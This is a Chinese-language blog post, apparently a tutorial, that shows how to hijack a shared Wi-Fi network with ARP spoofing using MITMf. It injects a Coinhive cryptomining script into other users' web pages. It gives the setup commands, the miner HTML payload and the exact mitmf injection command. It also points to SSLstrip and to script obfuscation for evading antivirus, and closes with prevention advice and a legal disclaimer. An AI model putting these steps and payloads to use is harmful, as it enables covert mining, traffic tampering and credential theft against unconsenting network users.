跳到主要內容

實作以 ARP spoofing 在用戶瀏覽的網頁中植入 Coinhive 挖礦程式,三分鐘駭入區網,一連上 Wi-Fi 可能就被植入挖礦程式碼甚至盜取錢包,新型態的殭屍礦工你也中標了嗎?



這篇文章的重點是要強調利用 MITM (中間人) 的網路攻擊有多簡單達成,即便是對於完全不熟悉程式編寫或指令系統的人,也能很輕易的在三分鐘內駭掉一台 Wi-Fi Router 與使用者間的連線來進行內容竄改 (植入挖礦程式、鍵盤側錄…等),或許這對於資安專家來說只是雕蟲小技不足掛齒,但對一般網路使用者已經可以構成極大的威脅。


也要呼籲所有內容僅供研究與沙箱模擬,若操作在不知情且未經同意的網路使用者上是違反我國刑法第三十六章「妨害電腦使用罪」。所有程式內容也並非由我所撰寫,若有非法操作蓄意造成他人財物損失我一概不負責。

MITM 攻擊原理

以 ARP spoofing 達成的 MITM (Man-in-the-middle) 網路攻擊原理其實也非常簡單,就如上圖所示在用戶 (Client) 向主機端 (Server) 調閱資料時,中間人 (MITM) 從中製造一個假的中繼站偽裝成主機,讓所有資訊都必須經他手才能達到用戶或主機手上,而在 Wi-Fi Router 的情境裡只不過把這個過程搬到了區域網路,駭客假裝成 Gateway (閘道) 經手所有資訊傳輸,就能在其中植入有害的程式碼,甚至更嚴重的可能會盜取使用者的加密貨幣錢包。




操作環境 - Kali Linux

那在 MITM 的操作環境我會選擇 Kali Linux,本身就有很齊全的程式庫和相關套件,使用一般的 Linux 發行版 (如 Ubuntu、Debian…等) 也是可以的,但要將 MITMF 缺少的依附安裝妥善後才能正確使用。而 Windows 系統則可以使用 VMware 虛擬機安裝 Kali Linux 成為虛擬系統來操作,不論是完整安裝或建置虛擬機的 ISO 都可以在 Kali Linux 官網下載,安裝過程就不贅述。




前置作業

apt-get update 
apt-get install mitmf
pip install Twisted==15.5.0
在 Kali Linux 環境下正常來講只需要上述這三個指令 (系統更新、安裝 MITMF、安裝 Twisted) 就可以完整部屬 MITMF 工具。

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
如果是其他的 Linux 發行版建議先打上述指令安裝相關需要的程式庫,如果出現權限不足等錯誤在前面加上 sudo 使用管理員權限執行即可。安裝 MITMF 仍遇到其他錯誤可以參考 GitHub 的 Installation 文件有針對不同環境的說明。


<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
      var miner = new Coinhive.Anonymus('API key');
      miner.start();
</script>
MITMF 安裝完成後就要建立拿來植入使用者的 .html 檔案或 .js 腳本,如果要以 Coinhive 挖礦程式碼為例,我們可以建構一個最簡單的 .html 檔案 (如上) 先呼叫 Coinhive 的挖礦腳本再置入一個物件讓它直接開始挖礦。然後將這個檔案存成 miner.html 供稍後植入使用。

alert("警告,你已經被植入了挖礦程式!");
那為了方便分辨有沒有植入成功,可以在 <script> 內多加一行 Alert ,只要有成功植入就會有很清楚的彈窗警告。 


route -n
先用 route -n 指令查看自己的網路介面,將 Gateway (閘道)Iface (介面名稱) 兩項記起來供稍後 ARP spoofing 使用,Gateway 會因路由器設定而相異,Iface 沒有意外的話則都是 wlan0。



駭入區網、植入挖礦程式

mitmf --inject --html-file /root/miner.html --spoof --arp --gateway Gateway -i Iface 
再來就可以執行這整個 ARP spoofing 到植入 .html 檔的流程了,只需要更改剛剛建立的 miner.html 路徑以及將 Gateway 與 Iface 填入即可。


同時間,正在使用同個 Wi-Fi (區網) 的使用者在看網頁時就被植入了 Coinhive 的挖礦程式,可以看到剛剛寫的 Alert 有跳出來,當然真正想偷你電腦算力來挖礦的人並不會這麼好心提醒你。 

使用這種 ARP spoofing 的攻擊模式你根本不需要「入侵」任何東西,只要假冒成 Gateway 就能經手大部分從本機傳到 Router 的資訊,換句話說你只要連到任何咖啡廳、商店的 Wi-Fi 就能偷偷幫它們的使用者「加料」,但其實這都還算是非常「無害」的作法,植入挖礦程式頂多讓你電腦運作變慢用起來卡卡,那如果是植入側錄鍵盤的程式呢?可能你的帳號密碼就要落到不肖人士手中了。




如何預防?

那難道它沒有弱點也無法反制嗎?其實以我實作的方法並沒有辦法對 SSL 的頁面有針對手段,加密的通訊可以直接免疫 ARP spoofing,但在 MITMF 工具裡就有打包了一個叫 SSLstrip 的套件,它就是專們針對有瑕疵的 HTTPS 頁面進行破解,很多企業的網站 (包括上面被植入的 IMDb) 它們在一般頁面都是使用 HTTP 而已,轉到登入頁面才使用加密通訊的 HTTPS,那就會被駭客針對 HTTP 轉 HTTPS 的這個弱點來製造假的登入頁面誤導你填入帳號密碼,所以以後在輸入帳號密碼時一定要再三留意網址列的 HTTPS 和顯示安全字樣。 


一定會有人有疑問,像植入 Coinhive 這種挖礦腳本應該一下就被防毒軟體或瀏覽器 AdBlock 這類的 Plugins 識破了阿,受害的人數應該很少才對?其實 Javascript 腳本可以透過 AES 加密來讓防毒軟體、AdBlock 無法判讀是否有害,這種加密模式原本是被用來不讓任何人都能直接得到原始碼去作修改,目的在保障開發者的智慧財產權,但被利用於混淆防毒軟體植入有害程式也是壞了這一番美意。(圖片取自 G. T. Wang)


所以要呼籲大家不要隨便連上不明來源的 Wi-Fi (即便是餐廳、商店…等),也要盡量避免在不熟悉的網路輸入任何重要的帳號密碼,確認登入頁面的 HTTPS 和安全字樣才能保障資訊安全。更重要的是安裝最新版病毒定義檔的防毒軟體和啟用本機防火牆,確保電腦不被不肖人士入侵。






留言



這個網誌中的熱門文章

WinRAR - 繁體中文版、免費版,別再破解了,老牌壓縮軟體直接免費給你用

WinRAR 應該對於所有 Windows 使用者一點都不陌生,可能也是很多人壓縮、解壓縮檔案的首選,舉凡 RAR、ZIP、7-Zip、TAR ...等檔案格式都可以處理,製作自解壓縮 (.EXE) 檔也沒問題,也算是最老牌的解壓縮軟體之一。 WinRAR 官方網站 :  https://www.win-rar.com 繁體中文版 :  https://rar.tw/download.html 永久免費簡體版 :  http://www.winrar.com.cn/download.htm 其實我也不太理解為什麼一個 WinRAR 可以有這麼多版本、不同語系的官網,畢竟在最原始的官網內也有「漢語」(簡體中文) 的選項,所以其他的國家自己的官網算代理商嗎? 如果真的要說我會比較建議到 英文版的官網 下載,畢竟這種軟體轉了一手又一手,加了什麼都不知道。

Linux (Ubuntu) 查詢硬碟容量、剩餘大小指令

在 Ubuntu Desktop 版本或有安裝 GUI 像 Xfce 的 Server 版本當然可以直接從圖形介面查看硬碟容量和已經使用的大小, 但如果是在純 CLI 版本或使用 SSH 連線時呢?那就需要用到指令了。 顯示硬碟容量、已使用、可用大小。 df -h 查詢資料夾所占硬碟的大小。 du -h 查詢檔案大小 ls -l

鍵盤按鍵壞了怎麼辦?用 Sharpkeys 換一個鍵來用就好啦 (重新設定 / 配置鍵盤按鍵 / Key Mapping)

我有一個壞習慣就是很常按 Alt+Tab,有時候即使沒要跳畫面還是偶爾會手癢按個幾下,尤其 Alt 又是大拇指按的,可能我的大拇指特別有力所以最近把 Alt 真的按壞了,我是用青軸的機械式鍵盤,所以每個軸都是獨立的應該是可以更換,但如果是用薄膜式鍵盤呢?那可能只能整把換掉了, 或是交換一下鍵位拿一個平常沒在用的鍵頂替一下,也就是今天要介紹的「Sharpkeys」。 Sharpkeys 官方網站 :  http://www.randyrants.com/category/sharpkeys GitHub :  https://github.com/randyrants/sharpkeys 使用 Sharpkeys 會需要 .NET Framework 4.0,如果還沒有安裝的可以到 微軟官方 下載。 開啟 Sharpkeys 後點選 「Add」 ,左方是選擇 「被重新分配的鍵位」 ,右方是 「替代的鍵位」 ,你也可以按 Type Key 直接用打的讓系統偵測。 像我就做了兩個 Key Mapping,其實就是 Win 鍵和 Alt 鍵互換啦,設定完成後就按「Write to Registry」寫入註冊表, 然後重開機或重新登入就可以生效囉。